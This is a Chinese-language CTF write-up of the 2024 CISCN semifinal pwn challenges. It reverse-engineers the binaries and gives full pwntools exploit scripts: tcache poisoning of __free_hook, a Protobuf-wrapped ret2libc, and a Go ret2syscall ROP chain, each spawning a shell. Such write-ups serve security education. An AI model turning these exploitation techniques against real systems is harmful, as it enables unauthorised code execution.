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2024全国大学生信息安全竞赛(ciscn)半决赛华中赛区Pwn题解
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发表于: 2024-6-26 10:43 9772
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前段时间赛前准备把ciscn东北赛区、华南赛区、西南赛区半决赛的题都复现完了。
可惜遇到了华东北赛区的离谱平台和离谱pwn出题人:
今天把华中赛区的题目也都复现了一下,题目分布为1个简单堆、1个高版本堆、1个go和1个protobuf。
对比之下,华东北的题最烂。
签到堆题,2.31版本libc(tcache利用最简单的版本)。
题目没去除符号表,经典菜单题,逆向也不复杂。
拖入IDA分析:
经典的增删改查菜单,逐个分析。
可以申请最多1024个任意大小的chunk(小于0x1000)。
正常编辑功能,不存在溢出。
关键漏洞点,存在UAF漏洞。
正常打印输出chunk中的内容。
题目给的glibc2.31相对来说还是比较好利用的,没有fd指针也加密,malloc也不检查是否0x10对齐。
存在UAF漏洞,没有任何限制。打法有很多种,最简单的就是tcache poisoning打__free_hook -> system。
通过tcache泄露堆地址,通过unsorted bin泄露libc,然后修改tcache的fd指针指向free_hook。
修改free_hook为system,然后释放一个带有/bin/sh的chunk即可完成利用。
题目很简单,ret2libc。
难点在于交互时套了一层C++ Protobuf的壳。
Protobuf-C逆向可以参考《深入二进制安全:全面解析Protobuf》文章,近期会再更新一期关于C++中Protobuf结构体还原的方法。
发现程序运行时会打印puts函数地址,泄露libc。然后解析Protobuf结构体并调用真正的主函数。
使用pbtk工具:
得到结构体:
name和phoneNumber可选,没什么用。
buffer为字符串,size可自定义,调用memcpy时会存在栈溢出漏洞。
已知libc,可以考虑直接ret2libc。
(这里需要注意的是,经过编译后的Protobuf会在头部增加一个Message结构体,下标3开始才是我们的字段)
(而if里判断了下标为2的参数,这里猜测是判断结构体中name和phoneNumber字段是否为空)
Go语言静态编译的题目,IDA反编译不是很好,但是代码不复杂且漏洞点很好发现。
关键问题是没有libc,需要找一些ROP来调用静态编译的函数,方法可能不是最优解,但是很容易想到。
Go语言逆向,相比于C语言的区别如下:
main函数名为main_main(如果去除符号表,考虑通过bindiff还原)
参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11
对于Go语言逆向,IDA支持不是很好,我们需要结合汇编代码和动态调试来分析。
找到main_main函数:
好在不是很复杂,根据菜单发现有add、delete、edit和show功能,依次分析。
存在一个Notes结构体,存储len和array结构体数组。add函数会将id、content_len和content加入到array结构体数组中。
直接看变量有点复杂,结合gdb调试发现不存在UAF漏洞。
直接看变量有点复杂,结合gdb动态调试发现这里没有判断输入长度,存在溢出漏洞并能覆盖到返回地址。
看上去没有什么漏洞,直接打印内容。
结合动态调试,发现edit存在栈溢出漏洞,可以劫持程序的控制流程。
由于题目没有给出libc,也没办法泄露相关地址,我直接采用了ret2syscall。
题目是静态编译,搜索下syscall发现有如下函数:
我们的目的是执行execve("/bin/sh", 0, 0)。rax寄存器为系统调用号,rbx、rcx、rdi是系统调用的三个参数。
然后通过ROPgadget找到gadget:
找不到pop rcx和pop rdi指令,由于rcx和rdi都应该置0,所以可以找mov或者xor指令替代。
经过一番查找,发现一条mov rcx, 0指令可以把rcx寄存器置0。
并且,有一条xor edi, edi; add rsp, 0x10; pop rbp;指令,只要能够让edi置0即可,后面的指令相当于弹出栈上3个参数,填充即可。
现在距离拿下shell只差一步,题目没有/bin/sh字符串,需要我们想办法写入一个已知地址。
经过调试发现,add函数将内容写在了堆上,我们可以考虑利用一些gadget将字符串写到bss段上。
比如,可以通过下面的gadget:
然后正常的覆盖返回地址到rop gadget执行ret2syscall即可。
逆向起来比较费劲,涉及到了SSE指令,IDA反编译的有问题,并且结构体设置的比较复杂。
除了final和destroy函数都逆了下,但是没有找到漏洞点,有兴趣的师傅可以做一下。(听武汉大学的secsome师傅和V3rdant师傅说是start结构体的0x00偏移量位置的计数器没有+1,这里确实是一个漏洞点,但是不知道后续怎么利用。)
(secsome师傅说IDA把一堆32bytes的识别成xmm导致反编译的有问题)
这里给出一部分逆向分析过程。
查看main函数,发现是经典菜单题,选项多了点,逐个分析。
最多申请0x100个chunk。输入idx、size和content,申请0x60大小的chunk_a后申请指定size的chunk_b。
与常规题目不同的是:
这段代码很奇怪,反编译有问题。
前面将申请的0x60大小chunk_a的用户区域指针赋值给了rbp,chunk_b的用户区域指针赋值给了r12。
这里read内容到chunk_b后执行了一系列命令,可以看下汇编:
执行如下操作:
而对于punpcklqdq xmm0, xmm1指令,动态调试发现:
执行结果,xmm0为16字节。低8字节为&chunk_b,高8字节为&chunk_a + 0x38。
然后执行如下操作:
动态调试后结构如下所示:
输入chunk_a和chunk_b的下标,然后输入distance,会判断chunk+0x20的位置是否有数据,若不为0则代表已经finalize。
然后判断chunk+0x10的位置是不是小于0x100,猜测这里是代表当前结点的连接数量。
后面的部分看汇编代码:
申请0x30大小的chunk作为link结构体。它执行如下操作:
动态调试结果如下:
然后再次调用malloc申请一个0x30大小的chunk,执行如下操作:
动态调试结果如下:
根据输入的idx输出对应的Index、Data、LinkCount和Distance。
可以结合这个show函数还原部分结构:
大概可以知道,start存储了Index、data_len、data_ptr和Link_count,并且和这个start相关的link组成了一个双向链表。
对于每个start的link,存储distance、star_ptr、fd和bk,类似于链表实现邻接矩阵。
根据update函数,又能推断出一些信息:field_20和finalize有关。
然后可以正常edit数据区域,不存在溢出漏洞。
将field_0的值减1,如果field_0为0则进入清理操作。
将所有link删除,然后将star删除。
final函数用于构建graph。
后面实在不想分析了,看了会也没找到漏洞在哪。
from
pwn
import
*
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./libc.so.6"
)
p
=
process([elf.path])
context(arch
=
elf.arch, os
=
elf.os)
context.log_level
=
'debug'
def
add_chunk(size, content):
p.sendlineafter(b
"5. exit\n"
, b
"1"
)
p.sendlineafter(b
"content: \n"
,
str
(size).encode())
p.sendlineafter(b
"content: \n"
, content)
def
edit_chunk(index, content):
p.sendlineafter(b
"5. exit\n"
, b
"2"
)
p.sendlineafter(b
"index: \n"
,
str
(index).encode())
p.sendlineafter(b
"content: \n"
,
str
(
len
(content)).encode())
p.sendafter(b
"Content: \n"
, content)
def
delete_chunk(index):
p.sendlineafter(b
"5. exit\n"
, b
"3"
)
p.sendlineafter(b
"index: \n"
,
str
(index).encode())
def
show_chunk(index):
p.sendlineafter(b
"5. exit\n"
, b
"4"
)
p.sendlineafter(b
"index:"
,
str
(index).encode())
# leak heap and libc
for
i
in
range
(
9
):
add_chunk(
0x98
, b
'a'
*
0x98
)
# 0-8
for
i
in
range
(
7
):
delete_chunk(
6
-
i)
delete_chunk(
7
)
show_chunk(
0
)
heap_base
=
u64(p.recvuntil((b
'\x55'
, b
'\x56'
))[
-
6
:].ljust(
8
, b
'\x00'
)) & ~
0xFFF
success(
"heap_base = "
+
hex
(heap_base))
show_chunk(
7
)
libc_base
=
u64(p.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
, b
'\x00'
))
-
0x1ecbe0
libc.address
=
libc_base
success(
"libc_base = "
+
hex
(libc_base))
# tcache poisoning
free_hook
=
libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
edit_chunk(
1
, b
'/bin/sh\x00'
)
edit_chunk(
0
, p64(free_hook))
add_chunk(
0x98
, b
'b'
*
0x98
)
# 9
add_chunk(
0x98
, p64(system))
# 10 __free_hook
# gdb.attach(p)
# pause()
delete_chunk(
1
)
p.interactive()
from
pwn
import
*
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./libc.so.6"
)
p
=
process([elf.path])
context(arch
=
elf.arch, os
=
elf.os)
context.log_level
=
'debug'
def
add_chunk(size, content):
p.sendlineafter(b
"5. exit\n"
, b
"1"
)
p.sendlineafter(b
"content: \n"
,
str
(size).encode())
p.sendlineafter(b
"content: \n"
, content)
def
edit_chunk(index, content):
p.sendlineafter(b
"5. exit\n"
, b
"2"
)
p.sendlineafter(b
"index: \n"
,
str
(index).encode())
p.sendlineafter(b
"content: \n"
,
str
(
len
(content)).encode())
p.sendafter(b
"Content: \n"
, content)
def
delete_chunk(index):
p.sendlineafter(b
"5. exit\n"
, b
"3"
)
p.sendlineafter(b
"index: \n"
,
str
(index).encode())
def
show_chunk(index):
p.sendlineafter(b
"5. exit\n"
, b
"4"
)
p.sendlineafter(b
"index:"
,
str
(index).encode())
# leak heap and libc
for
i
in
range
(
9
):
add_chunk(
0x98
, b
'a'
*
0x98
)
# 0-8
for
i
in
range
(
7
):
delete_chunk(
6
-
i)
delete_chunk(
7
)
show_chunk(
0
)
heap_base
=
u64(p.recvuntil((b
'\x55'
, b
'\x56'
))[
-
6
:].ljust(
8
, b
'\x00'
)) & ~
0xFFF
success(
"heap_base = "
+
hex
(heap_base))
show_chunk(
7
)
libc_base
=
u64(p.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
, b
'\x00'
))
-
0x1ecbe0
libc.address
=
libc_base
success(
"libc_base = "
+
hex
(libc_base))
# tcache poisoning
free_hook
=
libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
edit_chunk(
1
, b
'/bin/sh\x00'
)
edit_chunk(
0
, p64(free_hook))
add_chunk(
0x98
, b
'b'
*
0x98
)
# 9
add_chunk(
0x98
, p64(system))
# 10 __free_hook
# gdb.attach(p)
# pause()
delete_chunk(
1
)
p.interactive()
pbtk
-
1.0
.
5
/
extractors
/
from_binary.py .
/
pwn
pbtk
-
1.0
.
5
/
extractors
/
from_binary.py .
/
pwn
from
pwn
import
*
import
message_pb2
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
p
=
process([elf.path])
context(arch
=
elf.arch, os
=
elf.os)
context.log_level
=
'debug'
# leak libc
p.recvuntil(b
'Gift: '
)
gift
=
int
(p.recv(
14
),
16
)
libc_base
=
gift
-
libc.sym[
'puts'
]
libc.address
=
libc_base
success(
"libc_base = "
+
hex
(libc_base))
# rop
system
=
libc.sym[
'system'
]
binsh
=
next
(libc.search(b
'/bin/sh\x00'
))
ret
=
next
(libc.search(asm(
'ret'
), executable
=
True
))
pop_rdi
=
next
(libc.search(asm(
'pop rdi; ret'
), executable
=
True
))
pop_rsi
=
next
(libc.search(asm(
'pop rsi; ret'
), executable
=
True
))
pop_rdx_r12
=
next
(libc.search(asm(
'pop rdx; pop r12; ret'
), executable
=
True
))
rop
=
b
'a'
*
0x210
+
b
'deadbeef'
rop
+
=
p64(pop_rdi)
+
p64(binsh)
rop
+
=
p64(pop_rsi)
+
p64(
0
)
+
p64(pop_rdx_r12)
+
p64(
0
)
*
2
rop
+
=
p64(system)
# gdb.attach(p, 'b *$rebase(0x3345)\nc')
# pause()
message
=
message_pb2.protoMessage()
message.
buffer
=
rop
message.size
=
len
(rop)
p.send(message.SerializeToString())
p.interactive()
from
pwn
import
*
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)